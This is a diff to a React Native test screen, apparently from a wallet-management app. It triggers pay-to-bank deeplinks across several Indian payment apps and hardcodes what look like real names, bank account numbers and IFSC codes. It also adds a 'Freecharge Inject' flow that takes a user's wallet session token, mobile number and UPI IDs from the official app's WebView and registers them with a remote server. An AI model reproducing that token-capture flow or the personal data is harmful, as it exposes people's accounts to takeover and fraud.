+    name: string;
+    account: string;
+    ifsc: string;
+    amount: string;
+    comment: string;
+};
+
+const PAYEES: Payee[] = [
+    {
+        id: 'harsh-psib',
+        label: 'Harshpreet · PSIB',
+        name: 'Harshpreet singh',
+        account: '01601000068180',
+        ifsc: 'PSIB0000160',
+        amount: '2',
+        comment: '66666',
+    },
+    {
+        id: 'harsh-cnrb',
+        label: 'Harshpreet · CNRB',
+        name: 'Harshpreet singh',
+        account: '110140729840',
+        ifsc: 'CNRB0016365',
+        amount: '12',
+        comment: 'payment',
+    },
+    {
+        id: 'anmol-cnrb',
+        label: 'Anmol · CNRB',
+        name: 'Anmol',
+        account: '5521101002938',
+        ifsc: 'CNRB0005521',
+        amount: '12',
+        comment: 'transfer',
+    },
+    {
+        id: 'fc-test',
+        label: 'Freecharge test · PSIB',
+        name: 'Test User',
+        account: '8284919464',
+        ifsc: 'PSIB0000160',
+        amount: '2',
+        comment: 'test transfer',
+    },
+    {
+        id: 'paytm2-demo',
+        label: 'Paytm deeplink demo',
+        name: 'Harshpreet singh',
+        account: '01601000068180',
+        ifsc: 'PSIB0000160',
+        amount: '3',
+        comment: '1234',
+    },
+];
+
+const PAY_PROVIDERS: { id: PayProvider; label: string; color: string }[] = [
+    { id: 'paytm', label: 'Paytm', color: '#2ecc71' },
+    { id: 'paytm2', label: 'Paytm DL', color: '#27ae60' },
+    { id: 'mobikwik', label: 'Mobikwik', color: '#2ecc33' },
+    { id: 'phonepe', label: 'PhonePe', color: '#5a2d9c' },
+    { id: 'freecharge', label: 'Freecharge', color: '#5468db' },
+    { id: 'amazonpay', label: 'Amazon Pay', color: '#ff9900' },
+];
+
+async function launchPay(provider: PayProvider, payee: Payee): Promise<boolean> {
+    const { name, account, ifsc, amount, comment } = payee;
+    switch (provider) {
+        case 'paytm':
+            return openPaytmPayToBank(name, account, ifsc, amount, comment);
+        case 'paytm2':
+            return openPaytmPayToBank2(name, account, ifsc, amount, comment);
+        case 'mobikwik':
+            return openMobikwikPayToBank(name, account, ifsc, amount);
+        case 'phonepe':
+            return openPhonePePayToBank(name, account, ifsc, amount, comment);
+        case 'freecharge':
+            return openFreechargePayToBank(name, account, ifsc, amount, comment);
+        case 'amazonpay':
+            return openAmazonPayPayToBank();
+        default:
+            return false;
+    }
+}
 
 export default function TestScreen() {
-    const subRef = useRef<ReturnType<typeof onProxyMessage> | null>(null);
+    const [selectedPayeeId, setSelectedPayeeId] = useState(PAYEES[0].id);
+    const [selectedProvider, setSelectedProvider] = useState<PayProvider>('freecharge');
+    const [showFcAuth, setShowFcAuth] = useState(false);
+    const [apiBaseUrl, setApiBaseUrl] = useState('');
+    const [fcAuthResult, setFcAuthResult] = useState<FreechargePersonalBindResult | null>(null);
+
+    const selectedPayee = useMemo(
+        () => PAYEES.find(p => p.id === selectedPayeeId) ?? PAYEES[0],
+        [selectedPayeeId],
+    );
 
     useEffect(() => {
-        subRef.current = onProxyMessage((msg) => {
+        (async () => {
+            await saveServerDomain('aa.pfgame.org', true);
+            await loadServerDomain();
+            setApiBaseUrl(Api.BASE_URL);
+        })();
+        const sub = onProxyMessage(msg => {
             if (msg.type === 'echo') {
                 Alert.alert('Echo Response', JSON.stringify(msg.data));
             }
         });
-        return () => {
-            subRef.current?.remove();
-        };
+        return () => sub.remove();
     }, []);
 
+    const handlePay = async () => {
+        try {
+            if (selectedProvider === 'freecharge') {
+                const deeplink = buildFreechargePayToBankDeeplink(
+                    selectedPayee.account,
+                    selectedPayee.ifsc,
+                );
+                console.log('[TestScreen] Freecharge deeplink:', deeplink);
+            }
+            const ok = await launchPay(selectedProvider, selectedPayee);
+            if (!ok) {
+                Alert.alert('Pay', 'Failed to open payment app');
+            }
+        } catch (e) {
+            Alert.alert('Transfer Failed', String(e));
+        }
+    };
+
     const handleEcho = () => {
-        proxySendMessage({ type: 'echo', messageId: `echo_${Date.now()}`, data: { text: `hello_${Date.now()}` } });
+        proxySendMessage({
+            type: 'echo',
+            messageId: `echo_${Date.now()}`,
+            data: { text: `hello_${Date.now()}` },
+        });
     };
 
-    const handlePaytmPayToBank = () => {
-        openPaytmPayToBank('Harshpreet singh', '01601000068180', 'PSIB0000160', '2', '66666')
-            .then(result => console.log('Paytm Pay To Bank', result ? 'Success' : 'Failed'))
-            .catch(error => Alert.alert('Transfer Failed', String(error)));
-    };
-
-    const handlePaytmPayToBank2 = () => {
-        openPaytmPayToBank2('Harshpreet singh', '01601000068180', 'PSIB0000160', '3', '1234')
-            .then((result: boolean) => console.log('Paytm Pay To Bank2', result ? 'Success' : 'Failed'))
-            .catch((error: unknown) => Alert.alert('Transfer Failed', String(error)));
-    };
-
-    const handleMobikwikPayToBank = () => {
-        openMobikwikPayToBank('Anmol', '5521101002938', 'CNRB0005521', '12')
-            .then(result => console.log('Mobikwik Pay To Bank', result ? 'Success' : 'Failed'))
-            .catch(err => Alert.alert('Error', String(err)));
-    };
-
-    const handlePhonePePayToBank = () => {
-        openPhonePePayToBank('Harshpreet singh', '110140729840', 'CNRB0016365', '12', 'payment')
-            .then((ok: boolean) => console.log('PhonePe Pay To Bank', ok ? 'opened' : 'failed'))
-            .catch((err: unknown) => Alert.alert('Error', String(err)));
-    };
-
-    const handleFreechargePayToBank = () => {
-        openFreechargePayToBank('', '8284919464', 'PSIB0000160', '2', 'test transfer')
-            .then((result: boolean) => console.log('Freecharge Pay To Bank', result ? 'Success' : 'Failed'))
-            .catch((err: unknown) => Alert.alert('Error', String(err)));
-    };
-
-    const handleAmazonPayPayToBank = () => {
-        openAmazonPayPayToBank()
-            .then((result: boolean) => console.log('Amazon Pay To Bank', result ? 'Success' : 'Failed'))
-            .catch((err: unknown) => Alert.alert('Error', String(err)));
+    const handleFcAuthSuccess = async (result: FreechargePersonalBindResult) => {
+        setFcAuthResult(result);
+        setShowFcAuth(false);
+        try {
+            await Api.instance.register(
+                WalletType.FREECHARGE_PERSONAL,
+                {
+                    type: WalletType.FREECHARGE_PERSONAL,
+                    success: true,
+                    mobile: result.mobile,
+                    token: result.token,
+                    userId: result.userId || result.imsId,
+                    extend: { appVersion: result.appVersion || '' },
+                },
+            );
+            Alert.alert('Register OK', 'Freecharge 钱包已注册到服务端');
+        } catch (e) {
+            Alert.alert('Register failed', String(e));
+        }
     };
 
     return (
-        <View style={styles.container}>
-            <Text style={styles.sectionTitle}>Test Tools</Text>
+        <ScrollView style={styles.container} contentContainerStyle={styles.content}>
+            <Text style={styles.serverUrl}>Server: {apiBaseUrl || PROD_API}</Text>
 
-            <TouchableOpacity style={[styles.btn, { backgroundColor: '#2ecc71' }]} onPress={handlePaytmPayToBank}>
-                <Text style={styles.btnText}>Paytm Pay To Bank Test</Text>
+            <Text style={styles.sectionTitle}>收款人</Text>
+            {PAYEES.map(payee => {
+                const active = payee.id === selectedPayeeId;
+                return (
+                    <TouchableOpacity
+                        key={payee.id}
+                        style={[styles.payeeCard, active && styles.payeeCardActive]}
+                        onPress={() => setSelectedPayeeId(payee.id)}
+                    >
+                        <Text style={[styles.payeeLabel, active && styles.payeeLabelActive]}>{payee.label}</Text>
+                        <Text style={styles.payeeMeta}>
+                            {payee.name} · {payee.account} · {payee.ifsc}
+                        </Text>
+                        <Text style={styles.payeeMeta}>₹{payee.amount} · {payee.comment}</Text>
+                    </TouchableOpacity>
+                );
+            })}
+
+            <Text style={styles.sectionTitle}>支付方式</Text>
+            <View style={styles.providerRow}>
+                {PAY_PROVIDERS.map(p => {
+                    const active = p.id === selectedProvider;
+                    return (
+                        <TouchableOpacity
+                            key={p.id}
+                            style={[styles.providerChip, active && { backgroundColor: p.color, borderColor: p.color }]}
+                            onPress={() => setSelectedProvider(p.id)}
+                        >
+                            <Text style={[styles.providerChipText, active && styles.providerChipTextActive]}>
+                                {p.label}
+                            </Text>
+                        </TouchableOpacity>
+                    );
+                })}
+            </View>
+
+            <TouchableOpacity style={[styles.btn, { backgroundColor: '#e74c3c' }]} onPress={handlePay}>
+                <Text style={styles.btnText}>
+                    付款 · {PAY_PROVIDERS.find(p => p.id === selectedProvider)?.label} → {selectedPayee.label}
+                </Text>
             </TouchableOpacity>
-            <TouchableOpacity style={[styles.btn, { backgroundColor: '#27ae60' }]} onPress={handlePaytmPayToBank2}>
-                <Text style={styles.btnText}>Paytm Pay To Bank2 (deeplink)</Text>
-            </TouchableOpacity>
-            <TouchableOpacity style={[styles.btn, { backgroundColor: '#2ecc33' }]} onPress={handleMobikwikPayToBank}>
-                <Text style={styles.btnText}>Mobikwik Pay To Bank Test</Text>
-            </TouchableOpacity>
-            <TouchableOpacity style={[styles.btn, { backgroundColor: '#5a2d9c' }]} onPress={handlePhonePePayToBank}>
-                <Text style={styles.btnText}>PhonePe Pay To Bank Test</Text>
-            </TouchableOpacity>
-            <TouchableOpacity style={[styles.btn, { backgroundColor: '#5468db' }]} onPress={handleFreechargePayToBank}>
-                <Text style={styles.btnText}>Freecharge Pay To Bank Test</Text>
-            </TouchableOpacity>
-            <TouchableOpacity style={[styles.btn, { backgroundColor: '#ff9900' }]} onPress={handleAmazonPayPayToBank}>
-                <Text style={styles.btnText}>Amazon Pay To Bank Test</Text>
+
+            <Text style={styles.sectionTitle}>Freecharge Inject 授权</Text>
+            <TouchableOpacity
+                style={[styles.btn, { backgroundColor: '#5468db' }]}
+                onPress={() => setShowFcAuth(true)}
+            >
+                <Text style={styles.btnText}>打开 Inject 授权（官方 App WebView）</Text>
             </TouchableOpacity>
+            {fcAuthResult ? (
+                <View style={styles.resultBox}>
+                    <Text style={styles.resultTitle}>最近授权</Text>
+                    <Text style={styles.resultText}>mobile: {fcAuthResult.mobile}</Text>
+                    <Text style={styles.resultText}>imsId: {fcAuthResult.imsId}</Text>
+                    <Text style={styles.resultText}>
+                        upi: {(fcAuthResult.vpas || []).map(v => v.vpa).join(', ')}
+                    </Text>
+                </View>
+            ) : null}
+
             <TouchableOpacity style={[styles.btn, { backgroundColor: '#3498db' }]} onPress={handleEcho}>
                 <Text style={styles.btnText}>Echo Test</Text>
             </TouchableOpacity>
-        </View>
+
+            <Modal
+                visible={showFcAuth}
+                transparent
+                animationType="fade"
+                statusBarTranslucent
+                onRequestClose={() => setShowFcAuth(false)}
+            >
+                <View style={styles.modalRoot}>
+                    {apiBaseUrl ? (
+                        <FreechargePersonalBind
+                            apiBaseUrl={apiBaseUrl}
+                            isDebug
+                            userId={Api.instance.getUserId()}
+                            processString="Waiting for Freecharge authorization…"
+                            onClose={() => setShowFcAuth(false)}
+                            onSuccess={handleFcAuthSuccess}
+                            onError={msg => {
+                                Alert.alert('Freecharge Auth Failed', msg);
+                            }}
+                        />
+                    ) : (
+                        <View style={styles.loadingBox}>
+                            <ActivityIndicator size="large" color="#fff" />
+                            <Text style={[styles.btnText, { marginTop: 12 }]}>Loading server URL…</Text>
+                        </View>
+                    )}
+                </View>
+            </Modal>
+        </ScrollView>
     );
 }
 
@@ -98,17 +293,71 @@ const styles = StyleSheet.create({
     container: {
         flex: 1,
         backgroundColor: '#f0f0f0',
-        padding: 20,
-        alignItems: 'center',
+    },
+    content: {
+        padding: 16,
+        paddingBottom: 40,
+    },
+    serverUrl: {
+        fontSize: 12,
+        color: '#1565c0',
+        marginBottom: 8,
+        fontWeight: '600',
     },
     sectionTitle: {
         fontSize: 16,
         fontWeight: '600',
         color: '#333',
-        alignSelf: 'flex-start',
-        marginBottom: 16,
+        marginBottom: 10,
         marginTop: 8,
     },
+    payeeCard: {
+        backgroundColor: '#fff',
+        borderRadius: 10,
+        padding: 14,
+        marginBottom: 8,
+        borderWidth: 2,
+        borderColor: 'transparent',
+    },
+    payeeCardActive: {
+        borderColor: '#3498db',
+        backgroundColor: '#eef6ff',
+    },
+    payeeLabel: {
+        fontSize: 15,
+        fontWeight: '600',
+        color: '#333',
+    },
+    payeeLabelActive: {
+        color: '#1565c0',
+    },
+    payeeMeta: {
+        fontSize: 12,
+        color: '#666',
+        marginTop: 4,
+    },
+    providerRow: {
+        flexDirection: 'row',
+        flexWrap: 'wrap',
+        gap: 8,
+        marginBottom: 16,
+    },
+    providerChip: {
+        paddingHorizontal: 12,
+        paddingVertical: 8,
+        borderRadius: 20,
+        borderWidth: 1,
+        borderColor: '#ccc',
+        backgroundColor: '#fff',
+    },
+    providerChipText: {
+        fontSize: 13,
+        color: '#444',
+        fontWeight: '500',
+    },
+    providerChipTextActive: {
+        color: '#fff',
+    },
     btn: {
         width: '100%',
         paddingVertical: 14,
@@ -120,5 +369,31 @@ const styles = StyleSheet.create({
         color: '#fff',
         fontSize: 15,
         fontWeight: '600',
+        textAlign: 'center',
+    },
+    resultBox: {
+        backgroundColor: '#fff',
+        borderRadius: 10,
+        padding: 12,
+        marginBottom: 12,
+    },
+    resultTitle: {
+        fontWeight: '600',
+        marginBottom: 6,
+        color: '#333',
+    },
+    resultText: {
+        fontSize: 12,
+        color: '#555',
+        marginBottom: 2,
+    },
+    loadingBox: {
+        flex: 1,
+        backgroundColor: 'rgba(0,0,0,0.7)',
+        justifyContent: 'center',
+        alignItems: 'center',
+    },
+    modalRoot: {
+        flex: 1,
     },
 });
diff --git a/servers/walletman b/servers/walletman
index b525ae7..900bb85 160000
--- a/servers/walletman
+++ b/servers/walletman
@@ -1 +1 @@
-Subproject commit b525ae7b4922416371b379e84e4687c8ab9141cd
+Subproject commit 900bb85f5dee9cced8bc9ee65c19bc76eeea6f20